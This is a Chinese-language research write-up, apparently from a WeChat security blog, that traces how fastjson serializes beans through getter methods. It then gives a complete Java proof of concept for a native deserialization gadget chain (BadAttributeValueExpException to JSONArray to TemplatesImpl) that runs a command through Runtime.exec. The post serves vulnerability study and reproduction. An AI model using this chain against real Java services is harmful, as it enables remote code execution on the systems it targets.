0x01 前言
好久不见,此次分析源于一次fastjson实战,遇到了其他链打不了,发现原生的链可以打,本着知其然,必要知其所以然的态度,做了一次学习复现,留做笔记。
0x02 漏洞分析
01 环境搭建
老规矩,我们先来搭建环境,新建一个空的maven项目,导入如下依赖
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<!--<version>1.2.24</version>-->
<version>1.2.47</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.19.0-GA</version>
</dependency>
</dependencies>
然后创建一个测试类
package javassist;
import com.alibaba.fastjson.JSON;
public class JSONArrayTest {
public static void main(String[] args) {
Person p1 = new Person("kkk", 18);
String str = JSON.toJSONString(p1);
System.out.println(str);
}
}
class Person{
private String name;
private int age;
public Person(){
System.out.println("无参构造方法");
}
public Person(String name, int age){
this.name = name;
this.age = age;
System.out.println("有参构造方法");
}
public void setName(String name){
this.name = name;
}
public String getName(){
System.out.println("getName被调用");
return this.name;
}
public String getTest(){
System.out.println("getTest被调用");
return "test";
}
}
执行一下,看到如下回显就说明ok了
02 调试分析
环境好了之后我们就要开始调试分析了,看看这个链是怎么玩的。
在JSON.toJSONString(p1)行号上打上断点,然后debug模式启动
F7跟入方法
然后连续几个F7进入真正执行操作的方法
先是实例化了一个SerializeWriter类,SerializeWriter 在 FastJSON 库中起到将 Java 对象序列化为 JSON 字符串的作用。
然后实例化了一个JSONSerializer类,继续往下走
这里才是真正解析开始的流程,跟进去
可以看到对象不为空,就获取对象的类类型,随后将类类型带入this.getObjectWriter(clazz),之后获取到一个writer对象,调用write方法,这里我们先跟入this.getObjectWriter(clazz)
接着调用com.alibaba.fastjson.serializer.SerializeConfig#getObjectWriter(方法),继续跟进
先是从serializers成员变量中尝试根据类类型获取对应的writer对象,我们跟入看看
可以看到并没有获取到,返回方法,往下走
因为writer为null,所以程序会一直往下进行条件匹配,最终都没有匹配到进入如下代码块中
通过this.createJavaBeanSerializer方法创建一个writer序列化对象,然后将其类型和生成的序列化对象放入集合中,跟入this.createJavaBeanSerializer
使用TypeUtils.buildBeanInfo封装Person类的相关信息,跟入
先获取所有的成员字段信息,然后再往下调用computeGetters方法获取所有get方法
我们依次看过去,先进入ParserConfig.parserAllFieldToCache(beanType, fieldCacheMap)
先获取Person类的所有成员字段,然后for循环遍历fields数组,获取字段名,再和fieldCacheMap集合中去比对,如果不存在,则将字段名和字段对象写入集合中
然后我们再跟进computeGetters方法
和前面有着异曲同工之妙,获取Person类所有方法对象,然后遍历,区别就在于for循环里做的操作,我们挑重点看一看
这里先是获取方法名,比如getName
然后进行一个长串的判断,满足条件才可进入代码块,可以简单概述一下
-
方法修饰符不是static
-
方法返回类型不是void
-
方法参数长度为零,无参
-
方法返回类型不是ClassLoader.class
-
方法名不为getMetaClass、getSuppressed,同时,返回值类型不为groovy.lang.MetaClass
-
省略。。。
这么来看的话,public java.lang.String javassist.Person.getName(),很显然是满足条件的,所以会进入if代码块,继续往下
这里也做了一个简单过滤,方法名不能为getClass、getDeclaringClass,且长度不能小于4,继续往下
先获取方法名getName的第四个字符“N”,然后进行判断,之后会进入到else代码块,这里将“N”转为小写,然后拼接ame,所以propertyName就是“name”,接着往下看
这里new了一个FieldInfo对象,将Person类的相关信息进行了封装
随后将值存放到fieldInfoMap集合中
然后走完一次循环接着下一次,这里getTest方法也是同理
然后回到com.alibaba.fastjson.util.TypeUtils#buildBeanInfo方法
将这些信息都封装到SerializeBeanInfo类中,实例化返回
至此,TypeUtils.buildBeanInfo方法就走完了,我们会回到com.alibaba.fastjson.serializer.SerializeConfig#createJavaBeanSerializer方法
之后会调用this.createJavaBeanSerializer方法,跟入
继续跟入
将Person类成员信息赋值给JavaBeanSerializer对象的成员变量,然后返回实例化对象
到这里this.createJavaBeanSerializer也走完了,回到上一层com.alibaba.fastjson.serializer.SerializeConfig#getObjectWriter方法
将Person类型类和其对应的解析对象一起存放进SerializeConfig配置类中,接着往下走,回到了com.alibaba.fastjson.serializer.JSONSerializer#write方法
调用write方法,跟入
重点关注write中fieldSerializer.getPropertyValueDirect方法,跟入
继续跟入
看到这里是不是就恍然大悟了,熟悉的配方,熟悉的问道,反射执行对象的方法,这里执行的就是Person对象中符合要求的get方法,下一步之后就可以看到控制台输出了
到这里,基本上调试也就讲完了,下面要讲为什么这里被称之为漏洞点。
03 构造poc
虽然我们可以通过反射执行方法,但是是有限制的,只能执行符合条件的get方法,所以FastJson原生的链并不是最终命令执行的地方,可以理解为跳板,通过这个跳板可以跳到我们最终执行命令的方法中。
说到get方法执行命令,那就不得不说一下我们的老伙计,com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties
之前很多链中都有它的身影
类似的分析文章数不胜数,我就不重来一遍了。要构造poc目的很明确,就是想办法从FastJson跳板,跳转到com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties方法
这里我们需要用到一个异常类作为最初始跳板,就是javax.management.BadAttributeValueExpException
为什么要用这个类,这个就得先看一下com.alibaba.fastjson.JSON类的toString方法了
我们如果想直接触发FastJson原生的链,就需要借助toString方法,这样才不需要我们手动调用toJSONString方法,进而触发上面分析的流程,执行get方法
那很显然即使toString可以触发toJSONString方法,但是还是不够完美,需要目标执行包含恶意对象JSON的toString方法,很显然不太现实
所以,我们才需要借助javax.management.BadAttributeValueExpException异常类,因为在其readObject方法中,会调用成员变量的toString方法
而恰巧,valObj是我们可控的,所以整条链子就出来了:BadAttributeValueExpException->JSON->TemplatesImpl,最终执行任意代码
完整poc如下
package javassist;
import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
public class POC {
public static void main(String[] args) {
doit();
}
private static void doit() {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("abc");
CtConstructor cons = new CtConstructor(new CtClass[]{}, ctClass);
cons.setBody("{java.lang.Runtime.getRuntime().exec("calc");}");
ctClass.addConstructor(cons);
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] bytes = ctClass.toBytecode();
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates, new byte[][]{bytes});
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, System.nanoTime() + "abc");
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());
templates.getOutputProperties();
JSONArray array = new JSONArray();
array.add(templates);
Class<?> bad = Class.forName("javax.management.BadAttributeValueExpException");
Constructor<?> badCons = bad.getConstructors()[0];
Object badObj = badCons.newInstance(new String("fake"));
Field val = bad.getDeclaredField("val");
val.setAccessible(true);
val.set(badObj, array);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(badObj);
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
} catch (CannotCompileException e) {
e.printStackTrace();
} catch (NotFoundException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (InstantiationException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
}
}
04 版本差异
关于版本问题,为什么高版本fastjson就无法利用这条链子了,其主要在于高版本的FastJson JSONArray类中实现了自己的readObject方法,所以在反序列化的时候会优先走他自己的逻辑
0x03 总结
本次技术含量不高,但是对于我这个小菜来说,也学到了一些东西,不是每个执行命令的链才叫反序列化链,往往不起眼的跳板,也能产生不错的化学反应。
0x04 参考文章
Java反序列化之FastJson原生反序列化(https://xz.aliyun.com/t/12755)
原文始发于微信公众号(伟盾网络安全):FastJson原生反序列化链
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论